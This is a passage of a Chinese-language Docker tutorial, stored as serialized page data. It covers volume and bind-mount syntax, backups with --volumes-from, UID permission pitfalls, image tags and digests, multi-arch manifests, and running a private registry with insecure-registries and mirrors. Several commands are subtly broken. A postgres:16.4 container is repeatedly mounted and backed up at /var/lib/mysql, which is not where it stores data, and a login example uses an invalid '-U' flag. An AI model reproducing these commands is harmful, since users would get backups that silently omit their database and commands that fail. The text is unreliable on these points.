卷（跨机器一致、可备份、不受宿主目录权限影响）；要直接读写宿主上的真实文件（编辑即生效）→ bind mount；不能落盘 → tmpfs。",[53,51716,51718,5160,51720,51722],{"id":51717},"v-与-mount-语法对照",[22,51719,36993],{},[22,51721,48421],{}," 语法对照",[11,51724,51725],{},"两种写法能表达的集合不同：",[308,51727,51729],{"className":3902,"code":51728,"language":3904,"meta":314,"style":314},"docker run -d --name shop-db -v db-data:\u002Fvar\u002Flib\u002Fmysql postgres:16.4\ndocker run -d --name shop-db --mount type=volume,source=db-data,target=\u002Fvar\u002Flib\u002Fmysql postgres:16.4\ndocker run -d --name shop-web -v \u002Fsrv\u002Fshop\u002Fnginx.conf:\u002Fetc\u002Fnginx\u002Fconf.d\u002Fdefault.conf:ro nginx:1.27-alpine\ndocker run -d --name shop-web --mount type=bind,source=\u002Fsrv\u002Fshop\u002Fnginx.conf,target=\u002Fetc\u002Fnginx\u002Fconf.d\u002Fdefault.conf,readonly nginx:1.27-alpine\n",[22,51730,51731,51752,51772,51792],{"__ignoreMap":314},[331,51732,51733,51735,51737,51739,51741,51743,51746,51749],{"class":333,"line":334},[331,51734,36862],{"class":501},[331,51736,5020],{"class":365},[331,51738,36867],{"class":344},[331,51740,36870],{"class":344},[331,51742,51133],{"class":365},[331,51744,51745],{"class":344}," -v",[331,51747,51748],{"class":365}," db-data:\u002Fvar\u002Flib\u002Fmysql",[331,51750,51751],{"class":365}," postgres:16.4\n",[331,51753,51754,51756,51758,51760,51762,51764,51767,51770],{"class":333,"line":341},[331,51755,36862],{"class":501},[331,51757,5020],{"class":365},[331,51759,36867],{"class":344},[331,51761,36870],{"class":344},[331,51763,51133],{"class":365},[331,51765,51766],{"class":344}," --mount",[331,51768,51769],{"class":365}," type=volume,source=db-data,target=\u002Fvar\u002Flib\u002Fmysql",[331,51771,51751],{"class":365},[331,51773,51774,51776,51778,51780,51782,51784,51786,51789],{"class":333,"line":357},[331,51775,36862],{"class":501},[331,51777,5020],{"class":365},[331,51779,36867],{"class":344},[331,51781,36870],{"class":344},[331,51783,49096],{"class":365},[331,51785,51745],{"class":344},[331,51787,51788],{"class":365}," \u002Fsrv\u002Fshop\u002Fnginx.conf:\u002Fetc\u002Fnginx\u002Fconf.d\u002Fdefault.conf:ro",[331,51790,51791],{"class":365}," nginx:1.27-alpine\n",[331,51793,51794,51796,51798,51800,51802,51804,51806,51809],{"class":333,"line":371},[331,51795,36862],{"class":501},[331,51797,5020],{"class":365},[331,51799,36867],{"class":344},[331,51801,36870],{"class":344},[331,51803,49096],{"class":365},[331,51805,51766],{"class":344},[331,51807,51808],{"class":365}," type=bind,source=\u002Fsrv\u002Fshop\u002Fnginx.conf,target=\u002Fetc\u002Fnginx\u002Fconf.d\u002Fdefault.conf,readonly",[331,51810,51791],{"class":365},[57,51812,51813,51829],{},[60,51814,51815],{},[63,51816,51817,51822,51827],{},[66,51818,51819,51821],{},[22,51820,36993],{}," 写法",[66,51823,51824,51826],{},[22,51825,48421],{}," 等价",[66,51828,22374],{},[79,51830,51831,51849,51871,51889],{},[63,51832,51833,51838,51843],{},[84,51834,51835],{},[22,51836,51837],{},"-v \u002Fabs\u002Fpath",[84,51839,51840],{},[22,51841,51842],{},"--mount type=volume,target=\u002Fabs\u002Fpath",[84,51844,51845,51848],{},[17,51846,51847],{},"只给目标 → 匿名卷","（最容易长出孤儿卷）",[63,51850,51851,51855,51860],{},[84,51852,51853],{},[22,51854,49467],{},[84,51856,51857],{},[22,51858,51859],{},"--mount type=volume,source=name,target=\u002Fpath",[84,51861,51862,51863,51865,51866,655,51868,51870],{},"命名卷；",[22,51864,1900],{}," 不以 ",[22,51867,1192],{},[22,51869,655],{}," 开头即判定为卷名",[63,51872,51873,51878,51883],{},[84,51874,51875],{},[22,51876,51877],{},"-v .\u002Fhost:\u002Fcont",[84,51879,51880],{},[22,51881,51882],{},"--mount type=bind,source=$(pwd)\u002Fhost,target=\u002Fcont",[84,51884,51885,51886,51888],{},"bind；",[22,51887,36993],{}," 相对路径基于当前工作目录",[63,51890,51891,51896,51901],{},[84,51892,51893],{},[22,51894,51895],{},"-v a:b:ro,z",[84,51897,51898],{},[22,51899,51900],{},"--mount type=bind,...,readonly,z",[84,51902,51903,51904,272,51907,272,51910,655,51913,51916,51917],{},"选项：",[22,51905,51906],{},"ro",[22,51908,51909],{},"rw",[22,51911,51912],{},"z",[22,51914,51915],{},"Z","（SELinux）、",[22,51918,49491],{},[11,51920,51921,51922,51927,51928,51930,51931,51933,51934,51936,51937,4839,51940,51942],{},"实践建议：",[17,51923,51924,51925],{},"脚本与 Compose 用 ",[22,51926,48421],{},"——参数拼错（比如卷名写了相对路径）时 ",[22,51929,48421],{}," 会明确报错，而 ",[22,51932,36993],{}," 会静默地给你建一个空目录，最后表现为「配置没生效」。手工敲命令时 ",[22,51935,36993],{}," 省事。tmpfs 则只能用长语法：",[22,51938,51939],{},"--mount type=tmpfs,tmpfs-size=64m,target=\u002Frun\u002Fredis",[22,51941,36993],{}," 表达不了大小限制）。",[11,51944,51945,51946,51949,51950,51953,51954,51957,51958,51961,51962,51965],{},"一个必须提前知道的坑：",[22,51947,51948],{},"-v .\u002Fconf:\u002Fetc\u002Fapp"," 若宿主的 ",[22,51951,51952],{},".\u002Fconf"," 不存在，",[17,51955,51956],{},"Docker 会创建它并 chown 给 root","；容器内原本 ",[22,51959,51960],{},"\u002Fetc\u002Fapp"," 里的文件会被",[17,51963,51964],{},"空目录遮住","，于是出现「镜像里有配置，挂载后配置没了」。",[53,51967,51969],{"id":51968},"volumes-from把别人的卷借过来","--volumes-from：把别人的卷借过来",[308,51971,51973],{"className":3902,"code":51972,"language":3904,"meta":314,"style":314},"docker run --rm --volumes-from shop-db -v \"$PWD:\u002Fbackup\" alpine \\\n  tar czf \u002Fbackup\u002Fdb-data-20261004.tar.gz -C \u002Fvar\u002Flib\u002Fmysql .\n",[22,51974,51975,52004],{"__ignoreMap":314},[331,51976,51977,51979,51981,51983,51986,51988,51990,51993,51996,51999,52002],{"class":333,"line":334},[331,51978,36862],{"class":501},[331,51980,5020],{"class":365},[331,51982,48890],{"class":344},[331,51984,51985],{"class":344}," --volumes-from",[331,51987,51133],{"class":365},[331,51989,51745],{"class":344},[331,51991,51992],{"class":365}," \"",[331,51994,51995],{"class":337},"$PWD",[331,51997,51998],{"class":365},":\u002Fbackup\"",[331,52000,52001],{"class":365}," alpine",[331,52003,36876],{"class":344},[331,52005,52006,52009,52012,52015,52018,52021],{"class":333,"line":341},[331,52007,52008],{"class":365},"  tar",[331,52010,52011],{"class":365}," czf",[331,52013,52014],{"class":365}," \u002Fbackup\u002Fdb-data-20261004.tar.gz",[331,52016,52017],{"class":344}," -C",[331,52019,52020],{"class":365}," \u002Fvar\u002Flib\u002Fmysql",[331,52022,48236],{"class":365},[11,52024,52025,52028,52029,52032],{},[22,52026,52027],{},"--volumes-from"," 复用另一个容器声明过的所有挂载（包括匿名卷），是「备份\u002F恢复容器数据」的标准套路。注意它继承的是",[17,52030,52031],{},"那个容器创建时的挂载组合","，改了原容器的挂载配置要重建才生效。",[53,52034,52036],{"id":52035},"卷在宿主上的实际位置和怎么看清它","卷在宿主上的实际位置，和怎么看清它",[308,52038,52040],{"className":3902,"code":52039,"language":3904,"meta":314,"style":314},"docker volume ls; docker volume inspect db-data     # inspect 里的 Mountpoint 是宿主真实路径\nsudo du -sh \u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002F* | sort -h | tail\ndocker volume rm db-data; docker volume prune       # prune 会删掉所有没被任何容器引用的卷\n",[22,52041,52042,52065,52090],{"__ignoreMap":314},[331,52043,52044,52046,52049,52051,52053,52055,52057,52059,52062],{"class":333,"line":334},[331,52045,36862],{"class":501},[331,52047,52048],{"class":365}," volume",[331,52050,50172],{"class":365},[331,52052,620],{"class":337},[331,52054,36862],{"class":501},[331,52056,52048],{"class":365},[331,52058,48875],{"class":365},[331,52060,52061],{"class":365}," db-data",[331,52063,52064],{"class":1003},"     # inspect 里的 Mountpoint 是宿主真实路径\n",[331,52066,52067,52069,52071,52074,52077,52079,52081,52083,52085,52087],{"class":333,"line":341},[331,52068,37063],{"class":501},[331,52070,16399],{"class":365},[331,52072,52073],{"class":344}," -sh",[331,52075,52076],{"class":365}," \u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002F",[331,52078,18020],{"class":344},[331,52080,15984],{"class":616},[331,52082,50663],{"class":501},[331,52084,16456],{"class":344},[331,52086,15984],{"class":616},[331,52088,52089],{"class":501}," tail\n",[331,52091,52092,52094,52096,52098,52100,52102,52104,52106,52108],{"class":333,"line":357},[331,52093,36862],{"class":501},[331,52095,52048],{"class":365},[331,52097,46759],{"class":365},[331,52099,52061],{"class":365},[331,52101,620],{"class":337},[331,52103,36862],{"class":501},[331,52105,52048],{"class":365},[331,52107,49188],{"class":365},[331,52109,52110],{"class":1003},"       # prune 会删掉所有没被任何容器引用的卷\n",[11,52112,52113,1677,52115,52118,52119,4813,52122,52125,52126,52129,52130,48123,52132,52135],{},[22,52114,49842],{},[22,52116,52117],{},"Mountpoint"," 就是宿主真实路径（rootless 下是 ",[22,52120,52121],{},"~\u002F.local\u002Fshare\u002Fdocker\u002Fvolumes\u002F...",[22,52123,52124],{},"docker volume prune"," 会删掉",[17,52127,52128],{},"所有没被任何容器引用的卷","——包括你上周测试留下的数据库，所以先 ",[22,52131,16007],{},[22,52133,52134],{},"rm","，别直接 prune（第十四章把这条列入危险命令）。",[11,52137,52138],{},"两种备份\u002F迁移方式：",[308,52140,52142],{"className":3902,"code":52141,"language":3904,"meta":314,"style":314},"docker run --rm --volumes-from shop-db -v \"$PWD:\u002Fbackup\" alpine tar czf \u002Fbackup\u002Fdb.tar.gz \u002Fvar\u002Flib\u002Fmysql\ndocker run -d --name shop-db-new -v db-data-new:\u002Fvar\u002Flib\u002Fmysql postgres:16.4\ndocker run --rm -v \"$PWD:\u002Fbackup\" -v db-data-new:\u002Fvar\u002Flib\u002Fmysql alpine tar xzf \u002Fbackup\u002Fdb.tar.gz -C \u002F\n",[22,52143,52144,52177,52197],{"__ignoreMap":314},[331,52145,52146,52148,52150,52152,52154,52156,52158,52160,52162,52164,52166,52169,52171,52174],{"class":333,"line":334},[331,52147,36862],{"class":501},[331,52149,5020],{"class":365},[331,52151,48890],{"class":344},[331,52153,51985],{"class":344},[331,52155,51133],{"class":365},[331,52157,51745],{"class":344},[331,52159,51992],{"class":365},[331,52161,51995],{"class":337},[331,52163,51998],{"class":365},[331,52165,52001],{"class":365},[331,52167,52168],{"class":365}," tar",[331,52170,52011],{"class":365},[331,52172,52173],{"class":365}," \u002Fbackup\u002Fdb.tar.gz",[331,52175,52176],{"class":365}," \u002Fvar\u002Flib\u002Fmysql\n",[331,52178,52179,52181,52183,52185,52187,52190,52192,52195],{"class":333,"line":341},[331,52180,36862],{"class":501},[331,52182,5020],{"class":365},[331,52184,36867],{"class":344},[331,52186,36870],{"class":344},[331,52188,52189],{"class":365}," shop-db-new",[331,52191,51745],{"class":344},[331,52193,52194],{"class":365}," db-data-new:\u002Fvar\u002Flib\u002Fmysql",[331,52196,51751],{"class":365},[331,52198,52199,52201,52203,52205,52207,52209,52211,52213,52215,52217,52219,52221,52224,52226,52228],{"class":333,"line":357},[331,52200,36862],{"class":501},[331,52202,5020],{"class":365},[331,52204,48890],{"class":344},[331,52206,51745],{"class":344},[331,52208,51992],{"class":365},[331,52210,51995],{"class":337},[331,52212,51998],{"class":365},[331,52214,51745],{"class":344},[331,52216,52194],{"class":365},[331,52218,52001],{"class":365},[331,52220,52168],{"class":365},[331,52222,52223],{"class":365}," xzf",[331,52225,52173],{"class":365},[331,52227,52017],{"class":344},[331,52229,52230],{"class":365}," \u002F\n",[11,52232,52233,52234,52237,52238,52240],{},"第二种把卷挂进一个临时容器再解包，好处是",[17,52235,52236],{},"不依赖原容器存在","，跨机器迁移时只需要那个 tar。生产上更常见的是走数据库自身的备份（",[22,52239,37819],{},"），卷快照只作灾备——文件级备份对运行中的数据库常常是不一致的。",[53,52242,52244],{"id":52243},"bind-mount-的权限坑uid-对不上是最常见故障","bind mount 的权限坑：UID 对不上是最常见故障",[11,52246,52247,52248,52251,52252,52255],{},"现象：挂载成功、目录可见，但写进去报 ",[22,52249,52250],{},"EACCES: permission denied","。原因是",[17,52253,52254],{},"容器内的 UID 和宿主目录属主对不上","——权限检查用的是数字 UID，不看用户名。",[308,52257,52259],{"className":3902,"code":52258,"language":3904,"meta":314,"style":314},"docker exec shop-api id                # uid=1001(app) gid=1001(app)\nls -ld \u002Fsrv\u002Fshop\u002Fuploads               # drwxr-xr-x 2 root root ... \u002Fsrv\u002Fshop\u002Fuploads\ndocker exec shop-api touch \u002Fsrv\u002Fshop\u002Fuploads\u002Ft   # permission denied → sudo chown -R 1001:1001 对齐数字 UID\n",[22,52260,52261,52274,52287],{"__ignoreMap":314},[331,52262,52263,52265,52267,52269,52271],{"class":333,"line":334},[331,52264,36862],{"class":501},[331,52266,50113],{"class":365},[331,52268,49945],{"class":365},[331,52270,827],{"class":365},[331,52272,52273],{"class":1003},"                # uid=1001(app) gid=1001(app)\n",[331,52275,52276,52278,52281,52284],{"class":333,"line":341},[331,52277,16007],{"class":501},[331,52279,52280],{"class":344}," -ld",[331,52282,52283],{"class":365}," \u002Fsrv\u002Fshop\u002Fuploads",[331,52285,52286],{"class":1003},"               # drwxr-xr-x 2 root root ... \u002Fsrv\u002Fshop\u002Fuploads\n",[331,52288,52289,52291,52293,52295,52298,52301],{"class":333,"line":357},[331,52290,36862],{"class":501},[331,52292,50113],{"class":365},[331,52294,49945],{"class":365},[331,52296,52297],{"class":365}," touch",[331,52299,52300],{"class":365}," \u002Fsrv\u002Fshop\u002Fuploads\u002Ft",[331,52302,52303],{"class":1003},"   # permission denied → sudo chown -R 1001:1001 对齐数字 UID\n",[11,52305,52306],{},"四种解法与取舍：",[57,52308,52309,52320],{},[60,52310,52311],{},[63,52312,52313,52316,52318],{},[66,52314,52315],{},"解法",[66,52317,3720],{},[66,52319,19257],{},[79,52321,52322,52341,52357,52376],{},[63,52323,52324,52327,52333],{},[84,52325,52326],{},"改宿主目录属主",[84,52328,52329,52332],{},[22,52330,52331],{},"chown 1001:1001","（数字 UID）",[84,52334,52335,52336,52338,52339,5149],{},"最直接；要知道镜像里应用跑在哪个 UID（",[22,52337,50234],{}," 或 Dockerfile 的 ",[22,52340,46939],{},[63,52342,52343,52349,52354],{},[84,52344,16105,52345,52348],{},[22,52346,52347],{},"--user"," 对齐",[84,52350,52351],{},[22,52352,52353],{},"--user \"$(id -u):$(id -g)\"",[84,52355,52356],{},"开发机神器：容器进程就是你的宿主用户，写出的文件属主正确",[63,52358,52359,52362,52373],{},[84,52360,52361],{},"改组权限",[84,52363,52364,4809,52367,4809,52370],{},[22,52365,52366],{},"chgrp",[22,52368,52369],{},"chmod g+w",[22,52371,52372],{},"--group-add",[84,52374,52375],{},"需要共享写时更协作友好",[63,52377,52378,52381,52384],{},[84,52379,52380],{},"改用命名卷",[84,52382,52383],{},"让 Docker 自己管理目录",[84,52385,52386,52387,52390],{},"卷首次挂到空目录时会",[17,52388,52389],{},"把镜像里该目录的内容复制进卷","（bind mount 不会！）——这条差异能救「配置丢了」的故障",[11,52392,52393,52394,52397,52398,52400,52401,52404,52405,52408,52409,52412,52413,52416],{},"rootless 模式再多一层：",[17,52395,52396],{},"subuid 映射","。容器里的 UID 会被平移，",[22,52399,37281],{}," 看到 ",[22,52402,52403],{},"uid=0"," 实际是宿主的 ",[22,52406,52407],{},"100000","，宿主目录属主要按 ",[22,52410,52411],{},"\u002Fetc\u002Fsubuid"," 的偏移算（",[22,52414,52415],{},"grep $(whoami) \u002Fetc\u002Fsubuid","）。这也是 rootless + bind mount 反复出权限问题的原因，第十五章还会遇到它。",[53,52418,52420],{"id":52419},"为什么数据库必须用卷镜像里为什么不该有数据","为什么数据库必须用卷，镜像里为什么不该有数据",[11,52422,52423],{},"三个理由：",[1773,52425,52426,52432,52444],{},[1662,52427,52428,52431],{},[17,52429,52430],{},"性能","：往镜像层所在的 overlayfs 写随机 IO 明显慢于专用文件系统目录（卷或 bind）。数据库这种写密集负载，overlay2 的 copy-up 会让每次首次写都变成「整文件复制」。",[1662,52433,52434,52436,52437,52439,52440,52443],{},[17,52435,35606],{},"：容器是可丢弃的，数据库不是。挂卷之后 ",[22,52438,37027],{}," 掉容器，重新 ",[22,52441,52442],{},"run"," 同名卷，数据回来了。",[1662,52445,52446,52449,52450,52453,52454,52456],{},[17,52447,52448],{},"可移植与备份","：卷能被 ",[22,52451,52452],{},"volume inspect","、被快照、被 ",[22,52455,52027],{}," 备份；容器可写层这三样都做不好。",[11,52458,52459,52460,52463,52464,52467,52468,52470,52471,52474,52475,52477,52478,52480,52481,52484],{},"而「镜像里的 ",[22,52461,52462],{},"\u002Fvar\u002Flib\u002Fmysql"," 为什么不该写进镜像」：镜像层是",[17,52465,52466],{},"只读","的，运行时对它的一切写入都落在容器层；把初始化数据打进镜像会导致镜像体积暴涨、每个容器各存一份、",[22,52469,46945],{}," 声明处还会丢弃写入（第四章）。更关键的是",[17,52472,52473],{},"镜像会泄密","——初始化 SQL 里往往带着默认密码、示例账号，任何能 ",[22,52476,46470],{}," 的人都能 ",[22,52479,47053],{}," 后翻出来。正确做法是首次启动时用 ",[22,52482,52483],{},"POSTGRES_*"," 环境变量或 initdb 钩子建库（第十三章）。",[11,52486,52487,52488,52490],{},"示例 09 用一次完整流程演示这四种存储、",[22,52489,50054],{}," 发现写入位置、以及那个权限坑的现场与修法。",[4748,52492],{"height":42104,"src":52493,"title":52494},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F09-volumes.html","示例 09：卷与 bind mount——数据去哪了与权限坑",[11,52496,52497],{},"数据落盘的问题解决了，下一章解决「镜像从哪来、到哪去」：仓库、tag 规范与私有 registry。",[48,52499,52501],{"id":52500},"十镜像仓库与-tag-规范拉推锁定与私有-registry","十、镜像仓库与 tag 规范：拉、推、锁定与私有 registry",[53,52503,52504],{"id":52504},"一个镜像的完整名字长什么样",[308,52506,52508],{"className":3902,"code":52507,"language":3904,"meta":314,"style":314},"docker pull nginx:1.27-alpine\ndocker pull registry-1.docker.io\u002Flibrary\u002Fnginx:1.27-alpine      # 上面那行的完整展开\ndocker pull ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker pull localhost:5000\u002Fshop-api:1.8.3\n",[22,52509,52510,52519,52531,52539],{"__ignoreMap":314},[331,52511,52512,52514,52517],{"class":333,"line":334},[331,52513,36862],{"class":501},[331,52515,52516],{"class":365}," pull",[331,52518,51791],{"class":365},[331,52520,52521,52523,52525,52528],{"class":333,"line":341},[331,52522,36862],{"class":501},[331,52524,52516],{"class":365},[331,52526,52527],{"class":365}," registry-1.docker.io\u002Flibrary\u002Fnginx:1.27-alpine",[331,52529,52530],{"class":1003},"      # 上面那行的完整展开\n",[331,52532,52533,52535,52537],{"class":333,"line":357},[331,52534,36862],{"class":501},[331,52536,52516],{"class":365},[331,52538,48934],{"class":365},[331,52540,52541,52543,52545],{"class":333,"line":371},[331,52542,36862],{"class":501},[331,52544,52516],{"class":365},[331,52546,52547],{"class":365}," localhost:5000\u002Fshop-api:1.8.3\n",[11,52549,52550,52551,52554,52555,52557,52558,52561,52562,52564,52565,26877,52568,52573],{},"名字被解析成三段：",[22,52552,52553],{},"\u003Cregistry>\u002F\u003Cnamespace>\u002F\u003Crepo>:\u003Ctag>","。省略 registry 时默认 ",[22,52556,45732],{},"，省略 namespace 时默认 ",[22,52559,52560],{},"library","（官方镜像命名空间）。所以 ",[22,52563,15379],{}," 的真实身份是 ",[22,52566,52567],{},"docker.io\u002Flibrary\u002Fnginx:latest",[17,52569,52570,52571],{},"不写 tag 就是 ",[22,52572,37230],{},"，这一点在下一节会付出代价。",[11,52575,52576,52579,52580,52583,52584,52587,52588,52591],{},[22,52577,52578],{},"docker pull"," 时屏幕上打印的 ",[22,52581,52582],{},"1.27-alpine: Pulling from library\u002Fnginx"," 后面跟着一串 ",[22,52585,52586],{},"Layer ID"," 的下载进度；同一层已在本地会显示 ",[22,52589,52590],{},"Already exists","（第三章的分层共享）。",[53,52593,52595],{"id":52594},"tag-不是版本是可变的指针","tag 不是版本，是「可变的指针」",[57,52597,52598,52608],{},[60,52599,52600],{},[63,52601,52602,52605],{},[66,52603,52604],{},"事实",[66,52606,52607],{},"后果",[79,52609,52610,52622,52632],{},[63,52611,52612,52615],{},[84,52613,52614],{},"tag 可以反复指向不同的镜像（覆盖）",[84,52616,52617,52618,52621],{},"今天的 ",[22,52619,52620],{},"shop-api:1.8.3"," 和昨天的可能不是同一个东西",[63,52623,52624,52629],{},[84,52625,52626,52628],{},[22,52627,37230],{}," 永远指向「最后一次 push 的」",[84,52630,52631],{},"无法回滚、CI 不可复现、A\u002FB 两台机器可能跑不同版本",[63,52633,52634,52641],{},[84,52635,52636,52637,52640],{},"digest（",[22,52638,52639],{},"sha256:...","）由内容算出，永不变",[84,52642,52643],{},"唯一可靠的锁定手段",[11,52645,52646,52647,161],{},"生产规范：",[17,52648,52649],{},"用不可变 tag + digest 双锁",[308,52651,52653],{"className":3902,"code":52652,"language":3904,"meta":314,"style":314},"docker pull nginx@sha256:2bc60bb1c9d0c4b7aa220796840eab3d18d613059be13b63bea490dc8a32fc36\ndocker image inspect nginx:1.27-alpine --format '{{index .RepoDigests 0}}'\ndocker run -d --name shop-web nginx:1.27-alpine@sha256:2bc60bb1c9d0...\n",[22,52654,52655,52664,52680],{"__ignoreMap":314},[331,52656,52657,52659,52661],{"class":333,"line":334},[331,52658,36862],{"class":501},[331,52660,52516],{"class":365},[331,52662,52663],{"class":365}," nginx@sha256:2bc60bb1c9d0c4b7aa220796840eab3d18d613059be13b63bea490dc8a32fc36\n",[331,52665,52666,52668,52671,52673,52675,52677],{"class":333,"line":341},[331,52667,36862],{"class":501},[331,52669,52670],{"class":365}," image",[331,52672,48875],{"class":365},[331,52674,49099],{"class":365},[331,52676,50255],{"class":344},[331,52678,52679],{"class":365}," '{{index .RepoDigests 0}}'\n",[331,52681,52682,52684,52686,52688,52690,52692],{"class":333,"line":357},[331,52683,36862],{"class":501},[331,52685,5020],{"class":365},[331,52687,36867],{"class":344},[331,52689,36870],{"class":344},[331,52691,49096],{"class":365},[331,52693,52694],{"class":365}," nginx:1.27-alpine@sha256:2bc60bb1c9d0...\n",[11,52696,52697,52698,52701,52702,272,52705,52708],{},"Compose 里同样支持 ",[22,52699,52700],{},"image: nginx:1.27-alpine@sha256:2bc6...","。落地建议：tag 给人读（语义版本 ",[22,52703,52704],{},"1.8.3",[22,52706,52707],{},"1.8.3-build.20261004","），digest 给机器锁（部署清单里记 digest，回滚 = 用旧 digest 再起一次）。",[11,52710,52711,52713,52714,52717,52718,52721,52722,161],{},[22,52712,37230],{}," 唯一合理的使用场景是本地开发随手试。另一种常见误用是 ",[22,52715,52716],{},"1.8","（大版本 tag）：它会被上游重新指向 ",[22,52719,52720],{},"1.8.4","，你的生产库一夜之间换了小版本。",[17,52723,52724],{},"要固定就固定到具体 patch 版本 + digest",[53,52726,52728],{"id":52727},"多架构与-manifest","多架构与 manifest",[308,52730,52732],{"className":3902,"code":52731,"language":3904,"meta":314,"style":314},"docker manifest inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker manifest inspect -v nginx:1.27-alpine | grep -A3 '\"platform\"'\ndocker pull --platform linux\u002Farm64 busybox\n",[22,52733,52734,52744,52766],{"__ignoreMap":314},[331,52735,52736,52738,52740,52742],{"class":333,"line":334},[331,52737,36862],{"class":501},[331,52739,48929],{"class":365},[331,52741,48875],{"class":365},[331,52743,48934],{"class":365},[331,52745,52746,52748,52750,52752,52754,52756,52758,52760,52763],{"class":333,"line":341},[331,52747,36862],{"class":501},[331,52749,48929],{"class":365},[331,52751,48875],{"class":365},[331,52753,51745],{"class":344},[331,52755,49099],{"class":365},[331,52757,15984],{"class":616},[331,52759,16363],{"class":501},[331,52761,52762],{"class":344}," -A3",[331,52764,52765],{"class":365}," '\"platform\"'\n",[331,52767,52768,52770,52772,52774,52777],{"class":333,"line":357},[331,52769,36862],{"class":501},[331,52771,52516],{"class":365},[331,52773,48910],{"class":344},[331,52775,52776],{"class":365}," linux\u002Farm64",[331,52778,52779],{"class":365}," busybox\n",[11,52781,52782,52783,52785,52786,52789,52790,52792,52793,52796,52797,52800,52801,161],{},"单个名字背后可以是一个 manifest list（每种架构一个子镜像），",[22,52784,52578],{}," 会按宿主平台自动挑。看不到 ",[22,52787,52788],{},"manifests"," 数组说明这是单架构镜像——把它跑在别的架构上就是 ",[22,52791,46058],{},"（第七章）。国内机器上 ",[22,52794,52795],{},"docker manifest inspect"," 常因 registry 认证\u002F代理失败，加 ",[22,52798,52799],{},"--insecure"," 或换 ",[22,52802,52803],{},"docker buildx imagetools inspect",[53,52805,52807],{"id":52806},"私有-registry起一个认证以及-insecure-registries-的取舍","私有 registry：起一个、认证、以及 insecure-registries 的取舍",[308,52809,52811],{"className":3902,"code":52810,"language":3904,"meta":314,"style":314},"docker run -d --name registry --restart unless-stopped -p 127.0.0.1:5000:5000 \\\n  -v registry-data:\u002Fvar\u002Flib\u002Fregistry registry:2\ndocker tag shop-api:1.8.3 localhost:5000\u002Fshop-api:1.8.3\ndocker push localhost:5000\u002Fshop-api:1.8.3\ncurl -s http:\u002F\u002Flocalhost:5000\u002Fv2\u002F_catalog\n",[22,52812,52813,52839,52849,52860,52869],{"__ignoreMap":314},[331,52814,52815,52817,52819,52821,52823,52826,52829,52832,52834,52837],{"class":333,"line":334},[331,52816,36862],{"class":501},[331,52818,5020],{"class":365},[331,52820,36867],{"class":344},[331,52822,36870],{"class":344},[331,52824,52825],{"class":365}," registry",[331,52827,52828],{"class":344}," --restart",[331,52830,52831],{"class":365}," unless-stopped",[331,52833,36941],{"class":344},[331,52835,52836],{"class":365}," 127.0.0.1:5000:5000",[331,52838,36876],{"class":344},[331,52840,52841,52843,52846],{"class":333,"line":341},[331,52842,36910],{"class":344},[331,52844,52845],{"class":365}," registry-data:\u002Fvar\u002Flib\u002Fregistry",[331,52847,52848],{"class":365}," registry:2\n",[331,52850,52851,52853,52856,52858],{"class":333,"line":357},[331,52852,36862],{"class":501},[331,52854,52855],{"class":365}," tag",[331,52857,48258],{"class":365},[331,52859,52547],{"class":365},[331,52861,52862,52864,52867],{"class":333,"line":371},[331,52863,36862],{"class":501},[331,52865,52866],{"class":365}," push",[331,52868,52547],{"class":365},[331,52870,52871,52873,52875],{"class":333,"line":384},[331,52872,15975],{"class":501},[331,52874,15978],{"class":344},[331,52876,52877],{"class":365}," http:\u002F\u002Flocalhost:5000\u002Fv2\u002F_catalog\n",[11,52879,52880,52881,52884,52885,52888],{},"推到 ",[22,52882,52883],{},"myreg.internal:5000"," 这种域名时，Docker 要求 HTTPS；没证书就得在 ",[22,52886,52887],{},"\u002Fetc\u002Fdocker\u002Fdaemon.json"," 里声明：",[308,52890,52892],{"className":325,"code":52891,"language":327,"meta":314,"style":314},"{ \"insecure-registries\": [\"myreg.internal:5000\"] }\n",[22,52893,52894],{"__ignoreMap":314},[331,52895,52896,52898,52901,52903,52906],{"class":333,"line":334},[331,52897,32348],{"class":337},[331,52899,52900],{"class":344},"\"insecure-registries\"",[331,52902,403],{"class":337},[331,52904,52905],{"class":365},"\"myreg.internal:5000\"",[331,52907,52908],{"class":337},"] }\n",[11,52910,52911,52912,161,52915,52918,52919,52922,52923,52926],{},"改完 ",[22,52913,52914],{},"systemctl restart docker",[22,52916,52917],{},"insecure-registries"," 的含义是",[17,52920,52921],{},"明文 HTTP 传输","：镜像内容与认证 token 都在网上裸奔，只适合封闭内网 + 有物理隔离保证的环境；一旦跨公网就必须上 TLS（用 Caddy\u002Fnginx 反代 + Let's Encrypt，或 registry 自带 ",[22,52924,52925],{},"tls"," 配置）。",[11,52928,52929],{},"认证相关：",[57,52931,52932,52940],{},[60,52933,52934],{},[63,52935,52936,52938],{},[66,52937,1802],{},[66,52939,5040],{},[79,52941,52942,52956,52966,52990],{},[63,52943,52944,52947],{},[84,52945,52946],{},"登录",[84,52948,52949,4839,52952,52955],{},[22,52950,52951],{},"docker login ghcr.io -U \u003Cuser> --password-stdin",[17,52953,52954],{},"别在命令行里明文写密码","，会进 shell history）",[63,52957,52958,52961],{},[84,52959,52960],{},"登出",[84,52962,52963],{},[22,52964,52965],{},"docker logout ghcr.io",[63,52967,52968,52971],{},[84,52969,52970],{},"凭证存放",[84,52972,52973,12247,52976,52979,52980,1901,52983,52986,52987],{},[22,52974,52975],{},"~\u002F.docker\u002Fconfig.json",[22,52977,52978],{},"auths","；接 ",[22,52981,52982],{},"pass",[22,52984,52985],{},"secretservice"," 时用 ",[22,52988,52989],{},"credsStore",[63,52991,52992,52995],{},[84,52993,52994],{},"CI 里",[84,52996,52997,52998,53001],{},"用 secret 变量喂 ",[22,52999,53000],{},"--password-stdin","，或云厂商的短期 token",[53,53003,53004],{"id":53004},"镜像加速与代理",[11,53006,53007,53008,53011],{},"国内机器直连 Docker Hub 经常超时或限速，",[22,53009,53010],{},"daemon.json"," 里配 mirror：",[308,53013,53015],{"className":325,"code":53014,"language":327,"meta":314,"style":314},"{\n  \"registry-mirrors\": [\"https:\u002F\u002Fdocker.m.daocloud.io\"],\n  \"dns\": [\"114.114.114.114\", \"8.8.8.8\"],\n  \"log-driver\": \"json-file\",\n  \"log-opts\": { \"max-size\": \"20m\", \"max-file\": \"3\" 